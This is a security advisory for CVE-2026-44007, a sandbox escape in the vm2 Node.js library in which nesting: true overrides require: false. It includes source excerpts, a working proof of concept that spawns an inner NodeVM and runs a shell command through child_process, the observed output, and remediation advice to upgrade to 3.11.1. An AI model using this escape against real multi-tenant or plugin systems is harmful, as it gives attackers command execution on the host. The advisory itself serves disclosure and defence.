CVE-2026-44007: vm2: nesting: true bypasses require: false, allowing sandbox escape to arbitrary OS command execution
Summary
When a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised.
Details
The vulnerability is in how the nesting: true option interacts with the legacy module resolver.
lib/nodevm.js:96-99 — NESTINGOVERRIDE is a special builtin map that injects the vm2 package into the sandbox:
js const NESTINGOVERRIDE = Object.freeze({ proto: null, vm2: vm2NestingLoader });
lib/nodevm.js:268-269 — When nesting: true, this override is passed into the resolver factory alongside the host's require options:
js const customResolver = requireOpts instanceof Resolver; const resolver = customResolver ? requireOpts : makeResolverFromLegacyOptions( requireOpts, nesting && NESTINGOVERRIDE, // ← injected when nesting:true this.compiler );
lib/resolver-compat.js:193-197 — This is the vulnerable branch. When require: false is set, requireOpts is falsy, so !options is true. Without nesting the function returns DENYRESOLVER (block everything). With nesting, it instead builds a resolver that includes vm2 from NESTINGOVERRIDE:
js function makeResolverFromLegacyOptions(options, override, compiler) { if (!options) { if (!override) return DENYRESOLVER; // require:false, no nesting → deny all // BUG: require:false + nesting:true reaches here // override (NESTINGOVERRIDE) is applied, making vm2 available const builtins = makeBuiltinsFromLegacyOptions(undefined, defaultRequire, undefined, override); return new Resolver(DEFAULTFS, [], builtins); // vm2 is now requireable } // ... }
lib/builtin.js:102-106 — NESTINGOVERRIDE is merged unconditionally into builtins, overriding any user-configured allowlist:
js if (overrides) { const keys = Object.getOwnPropertyNames(overrides); for (const key of keys) { res.set(key, overrides[key]); // vm2 always injected when nesting:true } }
The result: require('vm2') always succeeds inside a NodeVM with nesting: true, regardless of require: false, require: { builtin: [] }, or any other restriction. Once the sandbox has vm2, it creates a new inner NodeVM with whatever require config it chooses — unconstrained by the outer VM — and reaches childprocess.
This was introduced in commit 2353ce60 (Feb 8, 2022) and survived a major refactor in commit 9e2b6051 (Apr 8, 2023). The JSDoc for nesting does warn that "scripts can create a NodeVM which can require any host module," but does not document that nesting: true silently defeats require: false, which is the non-obvious part of this interaction.
PoC
Requirements: vm2 installed, Node.js v22.22.1 (also reproduced on earlier versions).
js const { NodeVM } = require('vm2');
// Host intends: nesting enabled, but require completely disabled const vm = new NodeVM({ nesting: true, require: false });
const result = vm.run( // Step 1: require('vm2') succeeds despite require:false on the outer VM const { NodeVM: NVM } = require('vm2');
// Step 2: create an inner NodeVM with attacker-chosen require config // This inner VM has no relation to the outer VM's restrictions const inner = new NVM({ require: { builtin: ['childprocess'] } });
// Step 3: execute arbitrary OS command in the inner VM module.exports = inner.run( 'module.exports = require("childprocess").execSync("id").toString()' ); );
console.log(result); // uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),...
Observed output (confirmed on Node v22.22.1, vm2 commit 8dd0591): uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),104(kvm),118(lpadmin),989(docker),990(ollama),991(nordvpn)
The variant with require: false also works — the outer VM's require setting has no effect:
js new NodeVM({ nesting: true, require: false }).run( const { NodeVM: NVM } = require('vm2'); module.exports = new NVM({ require: { builtin: ['childprocess'] } }) .run('module.exports = require("childprocess").execSync("id").toString()'); ); // uid=1000(akshat) ...
Narrow builtin allowlists are also bypassed. require: { builtin: ['path'] } still allows require('vm2') when nesting is enabled.
Impact
Who is affected: Any application that runs untrusted or user-supplied code inside a NodeVM with nesting: true. This includes multi-tenant code execution platforms, notebook/REPL services, plugin systems, and CI sandboxing tools that use vm2.
What an attacker can do: Execute arbitrary OS commands as the host process user. From there: read/write files, exfiltrate secrets from the environment, move laterally on the host network, or establish persistence.
Severity: The mental model mismatch is the core danger. A developer who sets require: false to lock down modules, then adds nesting: true to allow child VM creation, will believe the sandbox is restricted. It is not — require: false is silently overridden and the sandbox has unrestricted OS access.
Note: nesting: true must be set by the host. This is not a zero-cooperation escape from a default NodeVM. However, it is not pure misconfiguration either: the implementation defeats a strong and reasonable expectation (require: false should mean deny all), and the existing warning in the docs does not surface the require: false bypass specifically.
Other sources
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.1, when a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised. This vulnerability is fixed in 3.11.1.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/vm2to a version that resolves this vulnerability.Fixed in 3.11.1 - Upgrade
Upgrade
vm2to a version that resolves this vulnerability.Fixed in 3.11.1 - Configuration
Do not use `nesting: true`. The material states that prior to 3.11.1, `nesting: true` defeats `require: false` and allows `require('vm2')`/arbitrary OS command execution.
NodeVM (vm2) nesting = false
Event History
Frequently Asked Questions
What is the severity of CVE-2026-44007?
CVE-2026-44007 is rated as critical due to its potential for arbitrary OS command execution.
How do I fix CVE-2026-44007?
To fix CVE-2026-44007, update to vm2 version 3.11.1 or later.
What configurations are affected by CVE-2026-44007?
CVE-2026-44007 affects configurations where 'nesting' is set to true, allowing bypass of 'require' settings.
What is the impact of CVE-2026-44007?
The impact of CVE-2026-44007 is that it allows sandbox escape and execution of arbitrary commands on the host system.
Is my version of vm2 vulnerable to CVE-2026-44007?
If you are using vm2 version 3.11.0 or earlier, you are vulnerable to CVE-2026-44007.